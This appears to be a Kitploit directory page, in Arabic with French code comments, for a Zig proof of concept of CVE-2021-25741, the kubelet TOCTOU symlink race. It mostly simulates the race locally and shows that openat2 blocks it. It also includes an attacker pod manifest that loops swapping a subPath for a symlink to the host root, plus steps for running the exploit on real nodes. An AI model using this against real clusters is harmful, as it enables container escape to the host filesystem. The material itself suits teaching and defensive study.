Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ZigRaceExploit — إثبات المفهوم لـ CVE-2021-25741 في Zig | Kitploit
أدوات/GitHubGitHub/glutenfree69/zigraceexploit
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالأمن السحابةالتعلم والتعليماستغلال الملفات الثنائية
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

إثبات المفهوم لـ CVE-2021-25741 في Zig

عرض المستودع
4منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-25741 — استغلال سباق TOCTOU للروابط الرمزية في Zig

استغلال تعليمي لشرط السباق TOCTOU (Time Of Check, Time Of Use) الذي يقع في أصل CVE-2021-25741، وهو ثغرة في kubelet الخاص بـ Kubernetes.

يبيّن المشروع محليًا (بدون عنقود K8s) كيف يمكن لتبديل متزامن للروابط الرمزية تجاوز فحص المسار بين lstat() وopen()، ويثبت أن openat2() مع أعلام RESOLVE_* هو الحل.

جدول المحتويات

  • المشكلة
  • كيف يعمل الاستغلال
  • بنية الكود
  • المتطلبات الأساسية
  • البناء
  • الاستخدام
    • الاختبار محليًا باستخدام Docker
    • مقارنة openat مقابل openat2
    • اللعب بالتأخير الزمني TOCTOU
    • الاختبار على عقدة Kubernetes حقيقية
  • النتائج المتوقعة
  • شرح الكود
  • استدعاءات نظام Linux المستخدمة
  • التصحيح باستخدام strace
  • المراجع

المشكلة

تحليل المسارات في Linux

عندما يقوم النواة بتحليل مسار مثل /a/b/c/file، فإنه يفعل ذلك مكوّنًا مكوّنًا. في كل خطوة، إذا كان المكوّن رابطًا رمزيًا، فإن النواة تتبعه تلقائيًا. هذا التحليل ليس ذريًا — يمكن لنظام الملفات أن يتغير بين خطوتين.

TOCTOU في kubelet

كان kubelet الخاص بـ Kubernetes يتبع هذا النمط الضعيف تمامًا:

root@kitploit:~
1. CHECK : lstat(subPath) → "c'est un répertoire, c'est safe"
     ↕ FENÊTRE DE RACE — un process dans le container swap le répertoire pour un symlink
2. USE   : mount(subPath) → suit le symlink, monte le filesystem host

بين الفحص والتركيب، كان بإمكان عملية خبيثة داخل الحاوية استبدال subPath برابط رمزي يؤدي إلى / الخاص بالمضيف، وبالتالي الحصول على وصول كامل إلى نظام ملفات المضيف.

الإصلاح: openat2(2)

استدعاء النظام openat2 (نواة 5.6+) يحل المسار و يفتح الملف بشكل ذري، مع قيود:

Flag

مع openat2، لا توجد نافذة TOCTOU: إذا ظهر رابط رمزي أثناء التحليل، يفشل استدعاء النظام فورًا.


كيف يعمل الاستغلال

يتعاون خيطان لاستغلال نافذة TOCTOU:

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → contient "LEGIT"
├── symlink_target/
│   └── secret.txt  → contient "PWNED"
└── target/          → swappé entre vrai dir et symlink

خيط Racer

يعمل في حلقة فائقة السرعة ويبدّل target/ ذريًا بين حالتين عبر renameat2(RENAME_EXCHANGE):

  • الحالة A: target/ هو مجلد حقيقي (يحتوي على secret.txt = "LEGIT")
  • الحالة B: target/ هو رابط رمزي إلى symlink_target/ (يحتوي على secret.txt = "PWNED")

استدعاء نظام واحد فقط لكل تبديل = أقصى نافذة سباق.

خيط Victim (يحاكي kubelet)

يعيد إنتاج النمط الضعيف الخاص بـ kubelet:

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — يتحقق من أنه مجلد
  2. إيقاف اختياري (يحاكي كمون kubelet بين الفحص والاستخدام)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — يفتح الملف
  4. read() — يقرأ المحتوى
  5. إذا كان المحتوى == "PWNED" → فوز بالسباق (تم اتباع الرابط الرمزي)
  6. إذا كان المحتوى == "LEGIT" → خسارة السباق (كان بالفعل المجلد الحقيقي)

في الوضع المحمي (--use-openat2)، تستخدم الخطوة 3 openat2 مع RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. إذا وُجد رابط رمزي، يعيد النواة ELOOP بدلاً من اتباعه.


بنية الكود

root@kitploit:~
src/
├── main.zig       # Point d'entrée : parse CLI, crée le shared state, spawn les
│                  # threads, mesure le temps, affiche les résultats
│
├── racer.zig      # Thread racer : prépare l'état initial (target → symlink),
│                  # puis boucle sur renameat2(RENAME_EXCHANGE) pour swapper
│                  # target/ et legit_dir/ en continu
│
├── victim.zig     # Thread victim : boucle N itérations de fstatat → delay →
│                  # openat/openat2 → read → compare "LEGIT" vs "PWNED"
│
├── setup.zig      # Crée l'arborescence de test : workdir/, legit_dir/,
│                  # symlink_target/, target/ avec les fichiers sentinel
│
├── syscalls.zig   # Constantes et wrappers pour les syscalls raw :
│                  # - open_how struct (kernel UAPI, 3×u64)
│                  # - RESOLVE_* flags
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() via linux.syscall4(.openat2, ...)
│                  # - rename_exchange() via linux.renameat2()
│                  # - Helpers : is_err(), to_errno(), to_fd()
│
└── stats.zig      # Compteurs atomiques lock-free (std.atomic.Value(u64))
                   # pour wins, losses, errors, eloop + affichage formaté

تُستدعى جميع استدعاءات النظام عبر std.os.linux.* مباشرة (بدون مغلفات std.fs أو std.posix). استدعاء النظام الوحيد بدون مغلف في مكتبة Zig 0.15 المعيارية هو openat2، ونستدعيه عبر linux.syscall4(.openat2, ...) مع بنية open_how معرّفة يدويًا من ترويسات UAPI الخاصة بالنواة.


المتطلبات الأساسية

الأداةالإصدارالسبب
Zig0.15.xالمترجم + الترجمة المتقاطعة

تُجمَّع الثنائي بشكل ثابت (مكتبة musl) ويعمل على أي Linux دون تبعيات.

Kernel minimum:

  • 3.15+ من أجل renameat2(RENAME_EXCHANGE)
  • 5.6+ من أجل openat2 مع RESOLVE_* (ضروري فقط لـ --use-openat2)

يستخدم Docker Desktop و colima على Mac نواة 6.x — كل شيء مدعوم.


البناء

الترجمة المتقاطعة من Mac إلى Linux

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (pour des nodes x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

الثنائي موجود في zig-out/bin/race-exploit.

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

الاستخدام

الاختبار محليًا باستخدام Docker

root@kitploit:~
# Démarrer le runtime Docker (si macOS)
colima start

# Lancer l'exploit (mode vulnérable par défaut)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

مقارنة openat مقابل openat2

root@kitploit:~
# Mode vulnérable (openat) — la race fonctionne
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# Mode protégé (openat2) — la race est bloquée
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

أو مع السكربت الذي يشغّل كليهما:

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

اللعب بالتأخير الزمني TOCTOU

تضيف المعلمة --delay-us تأخيرًا بين lstat (الفحص) وopenat (الاستخدام). كلما زاد التأخير، اتسعت نافذة TOCTOU، وزاد معدل الفوز:

root@kitploit:~
# Sans délai — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — win rate ~50% (plafonné, le racer swap bien plus vite)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

في kubelet حقيقي، يكون الكمون بين التحقق من subPath والتركيب bind mount في حدود عدة ميلي ثانية (استدعاءات API، تحضير مساحة أسماء mount، وما إلى ذلك)، مما يجعل السباق موثوقًا جدًا في الظروف الحقيقية.

خيارات سطر الأوامر الكاملة

root@kitploit:~
race-exploit [options]
  --iterations N     Nombre de tentatives (défaut: 10000)
  --delay-us N       Microsecondes entre lstat et open (défaut: 0)
  --use-openat2      Utiliser openat2 avec RESOLVE_* (mode protégé)
  --workdir PATH     Répertoire de travail (défaut: /tmp/race-workdir)
  --help             Afficher l'aide

الاختبار على عقدة Kubernetes حقيقية

لا يحتاج الاستغلال إلى Kubernetes ليعمل — فهو شرط سباق Linux أساسي. لكن يمكنك تشغيله على عقدة حقيقية للاختبار في نفس الظروف التي يعمل فيها kubelet.

الخيار 1: التنفيذ مباشرة على عقدة

root@kitploit:~
# Cross-compiler pour l'architecture du node
# ARM64 (EKS avec Graviton, GKE avec T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# ou x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# Copier le binaire sur le node
scp zig-out/bin/race-exploit user@node:/tmp/

# Lancer sur le node
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# Vérifier la version du kernel (>= 5.6 pour openat2)
ssh user@node uname -r

الخيار 2: التشغيل من pod داخل Kubernetes

إنشاء pod يحمل الثنائي ويشغّله:

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # le binaire doit être copié ici au préalable
  restartPolicy: Never
root@kitploit:~
# Copier le binaire sur le node d'abord
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# Lancer le pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

الخيار 3: إعادة إنتاج CVE الحقيقية باستخدام subPath

لإعادة إنتاج السيناريو الدقيق لـ CVE-2021-25741، يجب استغلال السباق بينما يحضّر kubelet تركيب bind mount لمجلد مع subPath:

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # Ce script tourne dans le container et swap le subPath
      # pendant que le kubelet prépare le mount
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← le kubelet vérifie puis monte ce chemin
  volumes:
  - name: shared-vol
    emptyDir: {}

مهم: لا يعمل هذا الهجوم إلا على kubelets غير مصححة (إصدارات < 1.22.2، < 1.21.5، < 1.20.11). تستخدم kubelets الحديثة openat2 مع RESOLVE_NO_SYMLINKS لتحليل subPath.

للتحقق مما إذا كان kubelet الخاص بك عرضة للثغرة:

root@kitploit:~
# Version du kubelet
kubectl get nodes -o wide

# Vérifier si openat2 est utilisé dans le kubelet (sur le node)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

النتائج المتوقعة

openat (ضعيف)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2 (محمي)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

ملاحظات رئيسية:

  • عدد "total attempts" أقل من التكرارات المطلوبة لأن العديد من دورات الحلقة يتم تخطيها (يرى lstat رابطًا رمزيًا ولا يحاول الفتح)
  • في وضع openat، تنجح حوالي 25% من المحاولات بفوز (يتم قراءة الملف "PWNED")
  • في وضع openat2، 0% من الفوز — كل محاولة قام فيها racer بالتبديل يكتشفها النواة ويعيد ELOOP
  • تطابق ELOOP تمامًا حالات الفوز في وضع openat: هي النسبة نفسها، لكنها محجوبة

شرح الكود

syscalls.zig — اللبنات الأساسية

يعرّف الملف الثوابت المفقودة في مكتبة Zig 0.15 المعيارية:

root@kitploit:~
// renameat2(2) : swap atomique de deux entrées filesystem
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : struct passée au syscall
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY, etc.
    mode: u64 = 0,    // permissions (si O_CREAT)
    resolve: u64 = 0, // RESOLVE_* flags
};

// Flags de résolution pour open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // refuse tout symlink
pub const RESOLVE_BENEATH: u64 = 0x08;     // interdit de remonter au-dessus du dirfd

يُستدعى openat2 عبر linux.syscall4(.openat2, ...) لأن Zig 0.15 يحتوي على رقم استدعاء النظام ولكن بدون مغلف.

racer.zig — خيط المهاجم

عند بدء التشغيل، يحوّل target/ إلى رابط رمزي نحو symlink_target/، ثم يكرر عمليتي renameat2(RENAME_EXCHANGE) تبدّلان target وlegit_dir:

root@kitploit:~
Itération 1: target=dir,     legit_dir=symlink  ← victim voit un dir, ouvre normalement
Itération 2: target=symlink, legit_dir=dir      ← victim suit le symlink → PWNED

victim.zig — خيط kubelet

يعيد إنتاج lstat → تأخير → openat/openat2 → read → مقارنة. تُحتسب النتائج في عدادات ذرية خالية من الأقفال (fetchAdd مع ترتيب .monotonic).

setup.zig — بنية الاختبار

ينشئ الشجرة باستخدام mkdirat وopenat(O_CREAT) وwrite — كلها عبر استدعاءات نظام خام. ملفا sentinel: "LEGIT" في المجلد الحقيقي، و"PWNED" في هدف الرابط الرمزي.


استدعاءات نظام Linux المستخدمة


التصحيح باستخدام strace

root@kitploit:~
# Tracer tous les syscalls des deux threads
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# Filtrer les syscalls intéressants
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# Voir les ELOOP de openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

ملاحظة: strace غير مثبت افتراضيًا في Alpine. استخدم alpine:edge أو ثبّته باستخدام apk add strace:

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

المراجع

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — الإصلاح
  • man 2 renameat2 — التبديل الذري
  • man 2 fstatat — lstat دون اتباع الروابط الرمزية
  • Symlinks and path resolution — Star Lab

ZigRaceExploit

تنزيل الأداة
التأثير
RESOLVE_NO_SYMLINKSيرفض اتباع أي رابط رمزي → يعيد ELOOP
RESOLVE_BENEATHيرفض الخروج من المجلد الأساسي → يعيد EXDEV
RESOLVE_IN_ROOTيتعامل مع dirfd كجذر لنظام الملفات
RESOLVE_NO_XDEVيرفض عبور نقاط التركيب
Dockerأي إصدارلتنفيذ ثنائي Linux على Mac
colimaأي إصداربيئة تشغيل Docker على macOS (أو Docker Desktop)
استدعاء النظامالدور في الاستغلالمغلف Zig
renameat2(RENAME_EXCHANGE)تبديل ذري target ↔ legit_dirlinux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat: يتحقق مما إذا كان target مجلدًا أم رابطًا رمزيًاlinux.fstatat()
openat(O_RDONLY)يفتح الملف متبعًا الروابط الرمزية (ضعيف)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)يفتح الملف رافضًا الروابط الرمزية (إصلاح)linux.syscall4(.openat2, ...)
symlinkatينشئ الرابط الرمزي الأولي target → symlink_targetlinux.symlinkat()
unlinkatيحذف target قبل إعادة إنشائه كرابط رمزيlinux.unlinkat()
mkdiratينشئ مجلدات الاختبارlinux.mkdirat()
read / write / closeإدخال/إخراج على ملفات sentinellinux.read() / linux.write() / linux.close()